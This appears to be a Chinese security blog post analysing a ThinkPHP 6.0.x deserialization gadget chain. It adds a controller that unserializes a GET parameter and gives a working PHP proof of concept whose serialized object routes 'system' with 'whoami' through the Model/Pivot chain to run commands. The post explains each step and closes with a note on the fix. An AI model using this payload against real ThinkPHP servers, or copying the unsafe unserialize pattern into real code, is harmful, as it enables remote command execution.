HacKerQWQ的博客空间

TP6.0.X反序列化链漏洞分析

ThinkPHP 漏洞分析 代码审计
Word count: 505Reading time: 2 min
2021/10/19 Share

漏洞简介

TP6删除了Windows类，但是可以通过Model类的__destruct()方法触发save函数，在checkAllowFields方法中存在$this->table与$this->suffix的拼接，触发__toString()方法，最后实现$closure的动态调用

配置

1
2
3
composer create-project --prefer-dist topthink/think=6.0.x-dev tp6x
cd tp6x
php ./think run

将 application/index/controller/Index.php 代码修改成如下：

1
2
3
4
5
6
7
8
9
10
11
<?php
namespace app\controller;

class Index
{
    public function index()
    {
        $u = unserialize($_GET['c']);
        return 'ThinkPHP V6.x';
    }
}

漏洞演示

利用条件

  1. 存在反序列化点
  2. 存在phar反序列化

以上满足一个即可

poc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

namespace think{
    abstract class Model{
        private $lazySave = false;
        protected $withEvent = true;
        private $exists = false;
        private $withAttr = [];
        private $data = [];

        public function __construct($obj=''){
            $this->lazySave = true;
            $this->withEvent = false;
            $this->exists = true;
            $this->table = $obj;
            $this->withAttr = ['hackerqwq'=>'system'];
            $this->data = ['hackerqwq'=>'whoami'];
        }
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model{
    }
}

namespace {
    use think\Model\Pivot;
    $a = new Pivot();
    $b = new Pivot($a);
    echo urlencode(serialize($b));
}

image-20211019174237301

漏洞分析

漏洞的起始点在Model类中的__destruct方法，然后进入save方法，此处的$this->exists需要为true进入到updatedata方法

image-20211019174713610

需要调用checkAllowFields方法,需要通过false === $this->trigger('BeforeUpdate')条件判断，那么只需要将withEvent设置为false即可

image-20211019175520798

可以看到checkAllowFields方法中$this->table和$this->suffix进行了拼接，会触发__toString()函数

image-20211019175619130

上半部分分析完成，链子如下

1
2
3
4
5
6
# Model.php
__destruct()
save()
updatedata()
checkAllowFields()
__toString()

在Conversion中调用__toString()=>toJson()=>toArray()，最终进入到elseif的第二个分支的getAttr方法，key为$this->data的键

image-20211019180106273

通过getAttr=>getData=>getFieldName最终返回的$value是$this->data[$key],然后进入getValue方法

image-20211019182936387

从$this->withAttr获取$FieldName变量为$closure作为调用函数，从$this->data获取$FieldName变量为调用参数$value，那么只需要令$this->withAttr[$FieldName]为system，$this->data[$FieldName]为参数，即可执行系统命令

image-20211019183509597

漏洞分析至此结束

漏洞修复

增加了对$closure变量的验证再调用

image-20211019184507449

Author：HacKerQWQ

原文链接：https://hackerqwq.github.io/2021/10/19/TP6-0-X%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

发表日期：October 19th 2021, 10:50:17 am

更新日期：October 19th 2021, 6:45:35 pm

版权声明：本文采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可

CATALOG
  1. 1. 漏洞简介
  2. 2. 配置
  3. 3. 漏洞演示
    1. 3.1. 利用条件
  4. 4. 漏洞分析
  5. 5. 漏洞修复
Total : 163
2023
2022
2021
2020
ctf PHP反序列化 sql jwt 2021CISCN 文件上传 uncide欺骗 无列名注入 php反射类利用 2021红明谷 输入法取证 盲水印隐写 哈夫曼编码 流量分析 Android md5 shtml 2020CISCN png结构 CRC32 Crypto Java安全 intro 权限提升 Docker CVE Hash php_upload_progress_session hash长度拓展攻击 红蓝对抗 MySQL PHP代码审计 PHP 2021Nep 命令执行 PHP原生类 云函数 JAVA_WEB ThinkPHP 原型链污染 nodejs 源码泄露 SSTI 漏洞分析 渗透测试 代码审计 JAJA XML 漏洞 免杀 机器学习 XSS XXE 硬件安全 社工 编码漏洞 nginx常见文件位置 .htaccess利用 HTTP协议 内网渗透 横向移动 漏洞利用 metasploit 信息收集 CTF PHP伪协议 php pickle 逻辑漏洞 2019CISCN python 多线程 misc图像处理 Nginx LFI redis攻防 提权 C 代码执行 渗透 权限维持 bugs phar反序列化 变量覆盖漏洞 扫描软件 弱类型比较 Django rar伪加密 二维码 文件上传漏洞 文件包含 文件读取漏洞 无参数构造payload 神经网络 红队 SSRF url取反绕过 misc_zip create_function注入 零宽度字符